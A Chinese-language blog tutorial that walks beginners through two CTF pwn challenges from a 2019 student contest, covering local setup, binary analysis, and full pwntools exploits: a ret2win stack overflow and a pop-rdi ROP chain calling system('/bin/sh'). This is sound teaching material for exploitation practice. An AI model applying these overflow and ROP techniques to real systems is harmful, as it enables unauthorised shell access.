White's Blog.

从零开始的PWN入门0x02

字数统计: 995Reading time: 4 min
2019/11/07 Share

0x00

厦门理工举办了一次面向新生的比赛,其中不少pwn题让新手入门,顺便教一下新生如何复现。

这次题题目已经都已经上传到github上了
https://github.com/hogw4rts/2019SouthCTF

0x01 pwn1

本地复现方法

一、socat监听:

参考 从零开始的PWN入门0x01

二:docker启动环境

安装docker 可以参考docker安装教程
启动docker
打开终端
进入下载的题目文件夹中的docker-compose目录,
输入docker-compose up

-w659

如图所示,pwn1的环境已经搭好。

重新开启一个控制台输入docker ps
可以看到容器已经在运行了,且已经映射到了本机的5116端口-w1079

然后输入nc 127.0.0.1 5116
发现已经可以连上了。到这配置环境结束。

分析:

首先用checksec看看
checksec pwn1
-w574
可以得到的信息有这是一个64位的程序,且没有防护。
于是我们就可以用IDA64(不是IDA)来打开分析。
-w861
可以看到左边函数列表中的main和eval。
先双击eval函数,按下F5,可以看到这个函数就是一个提供shell的函数。
按下tab键,我们可以找到这个函数的起始地址。然后把它记录下来。
getshell = 0x004006B6
-w756

接着查看main函数,一样也是F5。

1
2
3
4
5
6
7
8
9
10
int __cdecl main(int argc, const char **argv, const char **envp)
{
char buf; // [rsp+0h] [rbp-20h]

setbuf(stdin, 0LL);
setbuf(stdout, 0LL);
puts("no pwn no life!");
printf("input:", 0LL);
return read(0, &buf, 0x100uLL);
}

简单来说就是通过read函数进行读入的一个过程。
char buf旁边我们可以看到他的占据空间是0x00-0x20,然而我们read能读入的函数长度为0x100。在这里我们可以进行栈溢出,用无效字符填满这个栈,然后让返回的地址变为eval函数的地址,从而获得shell。
但是只填充0x20的字符是不够的,因为栈底到return还有0x8的空间。所以需要填充0x20+0x8的空间。(也就是所说的填充rbp)
截屏2019-11-07下午5.48.19

exp:

1
2
3
4
5
6
7
8
9
from pwn import *

shell = 0x004006B6
payload = 'a'*0x20+8*'a'+p64(shell)

cn = remote('192.168.123.183', 5116)
cn.recvuntil(':')
cn.sendline(payload)
cn.interactive()

可以看到成功的getshell了
-w727

0x02 pwn2

Xman PWN入门的原题,可以看从零开始的PWN入门0x01

0x03 pwn3

1
2
3
4
5
6
7
8
9
10
11
int __cdecl main(int argc, const char **argv, const char **envp)
{
char buf; // [rsp+0h] [rbp-20h]

setbuf(stdin, 0LL);
setbuf(_bss_start, 0LL);
puts("# hack me #");
system("date");
printf("root@vm >", 0LL);
return read(0, &buf, 0x100uLL);
}

分析:

可以看到主要函数有一个显眼的system函数,但里面的参数并非我们想要的/bin/sh。所以没有办法获得shell。然后可以看到read函数的读入长度0x100,大于缓冲区的0x20。所以这里我们就要想办法找到/bin/sh,然后将其作为参数给system函数来获得shell。所以我们先找到/bin/sh的位置。

ROPgadget --binary pwn4 --string '/bin/sh'

找到了/bin/sh的位置

-w727

接着我们要把/bin/sh作为参数让system执行。这时就要考虑如何让它成为参数参,在64位的程序中,函数调用使用寄存器传参(32位在栈中)。当参数小于等于六个时,参数从左到右放入寄存器: rdi, rsi, rdx, rcx, r8, r9中。当参数大于等于七个时,第七个开始的参数从右往左存在栈中。这里我们需要控制一个参数,所以需要控制rdi,将参数从栈内弹出。所以利用ROPgadget工具进行查找,得到pop rdi ; ret的地址。

ROPgadget --binary pwn3 --only "pop|ret"

-w727

其中pop rdi ; ret就是我们要的地址。所以payload就是填充缓冲区和rbp,然后传入rdi地址接/bin/sh地址,将/bin/sh的地址弹入system函数中。

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
from pwn import *

cn = remote('10.22.96.235', 5118)

sh = 0x00601060
system = 0x004006F5
rdi = 0x00400793

payload = (0x20+8)*'a'+p64(rdi) + p64(sh) + p64(system)

cn.recvuntil('>')
cn.sendline(payload)
cn.interactive()

练习

看完这道题建议大家到bugku的旧平台做一下题目pwn4,原理是一样的。
-w727

原文作者:White

发表日期:November 7th 2019, 5:58:12 pm

更新日期:November 23rd 2019, 5:54:08 pm

CATALOG
  1. 1. 0x00
  2. 2. 0x01 pwn1
    1. 2.1. 本地复现方法
      1. 2.1.1. 一、socat监听:
      2. 2.1.2. 二:docker启动环境
    2. 2.2. 分析:
    3. 2.3. exp:
  3. 3. 0x02 pwn2
  4. 4. 0x03 pwn3
    1. 4.1. 分析:
    2. 4.2. exp:
    3. 4.3. 练习